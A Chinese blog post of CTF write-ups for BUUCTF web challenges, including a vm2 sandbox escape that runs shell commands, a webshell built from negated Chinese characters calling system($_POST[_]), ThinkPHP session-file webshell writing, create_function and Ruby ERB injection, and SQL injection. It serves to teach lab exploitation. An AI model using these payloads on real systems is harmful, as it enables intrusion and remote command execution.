BuuPage4

文章发布时间:

最后更新时间:

文章总字数:
9.3k

预计阅读时间:
35 分钟

BUU Page4

慢慢啃下这32题及涉及到的知识点,此前完全没接触过的内容会写成专门的文章,持续更新……

GYCTF EzThinking

看到url有路径,随便访问一下出来了thinkphp6.0,访问www.zip有源码,判断为thinkphp6.0.0基于sessionid任意文件写入和删除

ThinkPHP6 任意文件操作漏洞分析 (seebug.org)

要注意的是这种知道漏洞类型和cve编号的也只能做参考,因为可能出题人自己做了改动,但是利用思路是相似的。

id判断,必须32位才能自己控制,不然就会被md5

image-20230804105620244

write关键方法,写入操作

image-20230804105803763

handler接口,找到write的原型

image-20230804110457713

具体实现write的位置

image-20230804110652109

filename获取的位置,可以得知filename就是sess_加上传进来的sessionid,那么一开始我们控制成32位的sessionid,就可以在这里控制文件名

image-20230804111007632

发现write调用了writeFile,跟进

image-20230804110756363

可见将content写入到了我们控制的path中,接下来看能不能控制content

往上看可以看到content是write传进来的是sessData,再往上看,回到store.php中。

image-20230804111903414

接下来看这个data是怎么传进来的,我们能控制的地方其实只有搜索页面的搜索框,找到Member.php(一开始看到的页面)

image-20230804131313005

将post上来的数据,也就是key的值存到了session里,至此成功获得了控制文件名和文件内容的方法。

image-20230804131901922

另外在File文件中还可以发现文件的命名格式是runtime/session/sess_sessionID,从而使用蚁剑连接。

要注意的是先登录才能搜索,不然只会跳转回login页面,并没有真正搜索,蚁剑连接之后经典一个flag里面什么都没有,一个readflag,肯定是disablefunction绕过,看看phpinfo确实如此。需要注意的是该题并没有提示或者关键函数触发,没法通过劫持进程来bypass(可能根本就没有进程!)

mm0r1/exploits: Pwn stuff. (github.com)

来个专门对php7的工具,将exploit里面的cmd改为/flag,通过蚁剑上传exploit.php并通过/runtime/session/exploit.php访问即可获得flag。

BJDCTF EzPHP

一道把很多php特性杂糅起来的套娃题,说实话没啥意思,但是还是学到了一点之前没有了解的新php特性。

看源码跳转页面,一大堆if,开始php审计。

知识点:

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

1.$_SERVER 函数中QUERY_STRING

``QUERY_STRING`并不会对?后面的语句进行url解码,这里直接对语句进行全字符url编码即可绕过关键词检测。

image-20230804091032048

2.preg_match绕过

preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute'

可以用%0a绕过正则,因为没有多行匹配会自动忽略末尾的%0a。

3.$_REQUEST绕过

$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数和COOKIE时,POST优先级更高

image-20230804094347951

4.file_get_contents伪协议利用

file_get_contents传入data://text/plain,debu_debu_aqua

5**.sha1比较:传入数组**

6.create_function()代码注入

感觉这个和sql注入其实一个道理,都是先闭合原来的,再写新的。

create_function() 是一个 PHP 内置函数,用于创建一个匿名函数。它的基本语法如下:

1
2
3
create_function(string $args, string $code): callable
$add = create_function('$a, $b', 'return $a + $b;');
echo $add(2, 3); // 输出 5

其中,$args 是一个包含函数参数列表的字符串,类似于函数定义中的参数列表;$code 是一个包含函数体的字符串,类似于函数体的代码。create_function() 函数将返回一个可调用的匿名函数。其实相当于如下代码。

1
2
3
function(string $args){
string $code
}

而本题中$code('', $arg);的方法调用(通过extract变量覆盖控制code和arg)就可以采用create_function注入,因为基本也没有可利用函数第一个参数为空的。

通过传入code为}代码;//即可成功执行php代码,之后先执行查看所有已定义的变量(这一步大概和看env和phpinfo文件差不多,记得看一看)(var_dump(get_defined_vars())

再通过文件包含require查看flag文件即可。require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

require中间的命令可以通过取反来绕过关键词的检测

HFCTF2020 JustEscape

看返回nodefined就知道这不是php,这是个js,输入Errot().stack可以看到页面回显的错误信息,根据错误信息可以判断这里使用了vm2沙箱,进而确定需要进行vm2沙箱逃逸。

image-20230804230035957

vm2沙箱逃逸的poc和cve近年来非常多,这里就简单分析一下大家都用来打通了这题的poc,看看究竟是怎么逃逸的。

另外提一句,这题不是直接把poc的untrusted当code传进去就行,还需要简单绕过waf,waf绕过方式感觉和ssti有点像,通过将所有的特殊字符串使用反引号拆分可以绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 使用严格模式
"use strict";
// 引入 vm2 模块中的 VM 类
const {VM} = require('vm2');

// 定义一个不可信的 JavaScript 脚本,该脚本会尝试访问 process 对象并执行 whoami 命令
const untrusted = '(' + function(){
// 在 TypeError 的原型上定义一个 get_process 方法,用于获取 process 对象
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
// 尝试在空的 Buffer 对象上定义一个不存在的属性 a
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
// 如果上述代码抛出异常,则说明无法在 Buffer 对象上定义新属性,此时尝试获取 process 对象并执行 whoami 命令并返回执行结果
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';

try{
// 在 vm2 中创建一个沙盒环境,并运行不可信的 JavaScript 脚本
console.log(new VM().run(untrusted));
}catch(x){
// 如果运行出错,则输出错误信息到控制台
console.log(x);
}

在该脚本中,尝试访问 process 对象并执行 whoami 命令的过程使用了 get_process 方法和 mainModule.require("child_process").execSync("whoami") 方法,这些都是通过原型链继承和闭包等技术来实现的。由于 vm2 模块中的 VM 类不允许访问 Node.js 的全局对象,因此这些方法无法直接访问 process 对象和执行 whoami 命令,但由于 JavaScript 中的原型链和闭包等特性,可以通过 TypeError.prototype异常捕获等方式来访问到外部环境的对象和方法,从而实现逃逸。

流程:

首先TypeError.prototype.get_process = f=>f.constructor("return process")();

通过原型链污染来把所有TypeError对象的get_process污染成获取process对象的方法,f=>f.constructor("return process")() 表示一个箭头函数,该函数接受一个参数 f,并返回 f.constructor("return process")() 的结果。

然后Object.preventExtensions(Buffer.from("")).a = 1;

  1. Buffer.from("") 是一个创建空的 Buffer 对象的方法。空的 Buffer 对象不包含任何字节,因此在访问该对象的任何属性时都会返回 undefined
  2. Object.preventExtensions() 是一个 JavaScript 内置方法,用于禁止对象添加新的属性或方法。
  3. Object.preventExtensions(Buffer.from("")) 表示禁止在空的 Buffer 对象上添加新的属性或方法。
  4. a = 1 是一个赋值语句,用于将数字 1 赋值给属性名为 a 的属性。由于该对象已经被禁止添加新的属性或方法,因此无法成功添加该属性。

也就是说这个一定会抛出异常,然后成功被catch捕获为e(TypeError类型)。

最后return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();

成功通过异常捕获和get_process方法获得process,从而达成任意命令执行。

GXYCTF StrongestMind python爬虫

python爬虫脚本编写练习,正确回答1k次算式结果

学到的点:使用requests.session()构建session对象来保存会话状态,re模块的search和findall用法,使用ChatGPT快速编写和解读正则表达式(自行本地测试)

Python中的正则表达式库re提供了很多方法,常用的有以下几个:

  1. re.search(pattern, string, flags=0):在字符串string中搜索正则表达式pattern,返回匹配到的第一个结果。如果没有匹配到,返回None。
  2. re.findall(pattern, string, flags=0):在字符串string中查找所有符合正则表达式pattern的子字符串,并将它们以列表的形式返回。
  3. re.sub(pattern, repl, string, count=0, flags=0):将字符串string中所有符合正则表达式pattern的子字符串替换为repl,并返回替换后的字符串。可以通过count参数控制替换的次数。
  4. re.compile(pattern, flags=0):将正则表达式pattern编译成一个正则表达式对象,以便于重复使用。正则表达式对象可以使用多个方法,如search()findall()等,用于在字符串中搜索匹配项。
  5. match()方法:在字符串的开头匹配正则表达式。
  6. fullmatch()方法:在字符串的整个范围内匹配正则表达式。
  7. split()方法:使用正则表达式分割字符串。
  8. finditer()方法:在字符串中查找所有匹配正则表达式的子字符串,并返回一个迭代器,每个元素都是一个匹配对象。

脚本分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests # 导入requests库
import re # 导入正则表达式库
import time # 导入时间库

url = 'http://66905b90-a9f4-4d2d-8eed-d9949b027ca7.node4.buuoj.cn:81/' # 目标网站的URL
session = requests.session() # 创建会话对象
req = session.get(url).text # 发送GET请求并获取响应内容

flag = "" # 初始化标志变量

# 循环1010次,尝试破解验证码
for i in range(1010):
try:
# 使用正则表达式从响应内容中提取[数字]
result = re.findall("<br><br>(\d+\s*[+\-*/]\s*\d+)<br><br>", req)
result = "".join(result) # 将[数字]列表转换为字符串
result = eval(result) # 将字符串转换为数字并计算结果
print("time: "+ str(i) +" "+"result: "+ str(result)) # 输出当前尝试次数和计算结果

# 将计算结果作为POST请求的参数,发送POST请求
data = {"answer":result}
req = session.post(url,data=data).text

# 如果响应内容中包含flag,说明破解成功,输出flag并结束循环
if "flag{" in req:
print(re.search("flag{.*}", req).group(0)[:50])
break

time.sleep(0.1) # 等待0.1秒,防止访问太快断开连接
except:
print("[-]") # 如果出现异常,输出错误信息

对正则表达式的分析:

  • ```
    (\d+\s*[+-/]\s\d+)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120

    :匹配一个算式,并将其保存在一个分组中。其中:

    - `\d+`表示匹配一个或多个数字。
    - `\s*`表示匹配零个或多个空格。
    - `[+\-*/]`表示匹配加号、减号、乘号或除号。
    - `\s*`表示匹配零个或多个空格。
    - `\d+`表示匹配一个或多个数字。

    ## b01lers Life on Mars SQL注入

    无聊题,啥提示都没有,抓个包,search后面最常规的sql注入。

    问题是谁能想到这个页面展示竟然还和数据库交互了??!

    ## GKCTF easycms 蝉知cms源码审计

    蝉知cms7.7命令执行漏洞

    通过admin.php加12345弱密码进入后台。

    在设计的高级中找到模板,相当于可以修改php文件,写入我们的恶意代码,但是保存的时候提示要有某文件才能保存。

    在网上下个7.7来代码审计一下(cms类的题很多时候都要在网上下源码来分析,或者题目通过源码泄露的方式给你)

    找到了可以修改的文件,看源码:

    `{include $control->loadModel('ui')->getEffectViewFile('default', 'common', 'header.lite')}`

    这段代码使用了Smarty模板引擎中的`{include}`语句,用于包含指定的文件,并将其内容插入到当前模板文件中。具体来说,`$control`是一个控制器对象,通过`$control->loadModel('ui')`可以获取一个UI模型对象,然后调用该对象的`getEffectViewFile()`方法获取一个EffectView文件的路径,最终将该文件的内容插入到当前模板文件中。

    ![image-20230806172404025](https://pazuris-image.oss-cn-shenzhen.aliyuncs.com/image-20230806172404025.png)

    发现通过file_exists来进行检测,file_exists可以通过新建文件夹绕过

    寻找mkdir,找到了微信公众号添加处有

    先随便写个正常的,再写一个id为目录穿越的`../../../system/tmp/kzgi.txt/0`,就成功添加上了这个文件,原来模板的地方就可以保存了,写php命令即可。

    ## SUCTF GetShell 利用汉字取反bypass

    文件上传但是给出源码:源码说的是有一个黑名单,从传上去的数据第6位开始检测,通过fuzz测试,发现这个不仅不能字母不能数字,而且不能百分号,符号里能用的只有`$~[]()_;.`

    尝试使用取反原来的字符来绕过,结果取反之后的字符也会被黑名单检测,只能使用汉字取反来绕过。

    通过`V0n`师傅的脚本可以构造出需要的汉字,再把汉字填入exp中即可。

    脚本(在shell里填入需要构造的命令):

    ```php
    <?php
    header("Content-type:text/html;charset=utf-8");
    $shell = "_POST";
    $result = "";
    $arr =array();
    $word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
    木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
    丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
    仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
    扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
    乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
    字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
    护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
    乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
    没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
    拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
    旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
    胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
    郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
    某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
    哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
    饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
    诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
    荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
    秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
    粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
    球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
    圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
    混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
    葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
    稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
    谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
    跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
    碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
    嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
    嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
    夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
    吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
    呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
    荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
    匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
    疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
    啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
    缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
    奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
    腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
    谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
    霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
    靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
    function mb_str_split( $string ) {
    return preg_split('/(?<!^)(?!$)/u', $string );
    }
    foreach (mb_str_split($word) as $c)
    {
    $arr[] = $c;
    }

    for ($x=0;$x<strlen($shell);$x++)
    {
    for ($y=0;$y<count($arr);$y++)
    {
    $k = $arr[$y];
    if ($shell[$x] == ~($k{1}))
    {
    $result .= $k;
    break;
    }
    }
    }
    echo $result;

exp:

1
2
3
4
5
6
7
8
9
10
<?=
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST

$___($$____[_]);//system($_POST[_]);

一开始通过比较的返回值获得了数字0和1,后面通过取反截取拼接从而构建命令。这里是直接用system,输入linux命令,而非使用eval。

将空格和注释去掉连成一行,保存为1.php,上传访问即可,flag在env中,rce的题一定一定一定要看envphpinfo!!!!

另外注意一下这里不能直接复制粘到bp,否则中文会变成空格,因为bp没有采用utf-8编码,需要先保存为php,右下角选择utf-8编码,再上传php就正常。

image-20230811105629251

这道题第一次使用到了汉字取反的绕过方式,顺便把之前异或取反字符限制等各种无字母数字rce总结一下。

Roamphp 签到题

打开页面一片空白,刷新一下bp发现方法不允许,要用post访问,sha1数组绕过在phpinfo里找flag即可。

MRCTF Ezaudit php伪随机

题目就叫审计,当然www.zip下载源码,login.html检查私钥并进行sql操作,给出了公钥,公钥和私钥mt_rand用的seed一样,用php_mt_seed爆破,其实这题和buu第三面枯燥的抽奖完全一样,只是多了个皮,多了个sql注入。

1
2
3
4
5
6
7
8
9
10
11
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break

print(res)

image-20230811151448921" class="headerlink" title="image-20230811151448921">image-20230811151448921

这里要注意的一个点是看这个版本号,这里是PHP5.2.1 to 7.0.x,如果用了别的版本的php,同样的种子生成的随机值就不是这些了。

1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'

毫无技术含量的sql注入,万能密码1'or 1=1;#即可得到flag。

SCTF Flag Shop RUBY模板注入

https://blog.csdn.net/qq_53142368/article/details/124000888

抓包发现是jwt,空算法和爆破都试过但是一无所获,没有思路的时候记得再去收集一下信息。

这里是访问robots.txt,发现/filebak,访问得到源码,很好,又是一个新框架,甚至还是个新语言(

这是一个使用ruby写的Sinatra框架,require部分有一个erb,联想到ruby erb模板注入(实际上是看了wp)

其实,这个ruby的模板注入和其他模板注入(比如flask的)基本一样,都是在ERB.new的时候<% %>中会当成代码解析,而<%=%>会直接输出变量值或者运算结果(有点像php的短标签,用等于号直接输出)

分析源代码,找到关键的可以利用的地方

1
2
3
4
5
6
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end

判断部分的意思是do字段传入的值要和name字段传入的前7位一致,可以看到后面没有过滤直接在ERB::new中把name字段前7位拼了进去。能注入但是只能注入7位,除去必要的<%%>或者<%=%>就只剩两三位了,那肯定不可能写代码,只能写长度只有两位的变量,然后直接输出变量的值。

再找找源代码中有没有我们关心的flag,在上面的代码前面一点发现了这些:

1
2
3
4
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end

这段代码的作用是判断 params[:SECRET] 是否为 nil,如果不为 nil,则通过正则表达式匹配 params[:SECRET] 提取出的子字符串与环境变量 ENV["SECRET"] 进行匹配。如果匹配成功,就输出环境变量 ENV["FLAG"] 的值。

重点不是他输出了flag,毕竟我们也不知道secret到底是什么(但是可以从源码看出是jwt加密的secret),重点是他进行了正则匹配,而ruby正好有一些全局变量有关正则匹配。

image-20230811172344779

于是我们可以传入一个空的SECRET,再使用$'来获得ENV[SECRET]

work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

获得secret之后伪造jwt即可获得flag。

GEEK大挑战 Greatphp原生类利用

1
2
3
4
5
6
7
8
9
10
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}

很经典的if,但是这里没有办法用数组绕过,因为后面直接就eval了。这时候想起来曾经在反序列化专题中看过的原生类反序列化利用,其中Error就可以绕过sha。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
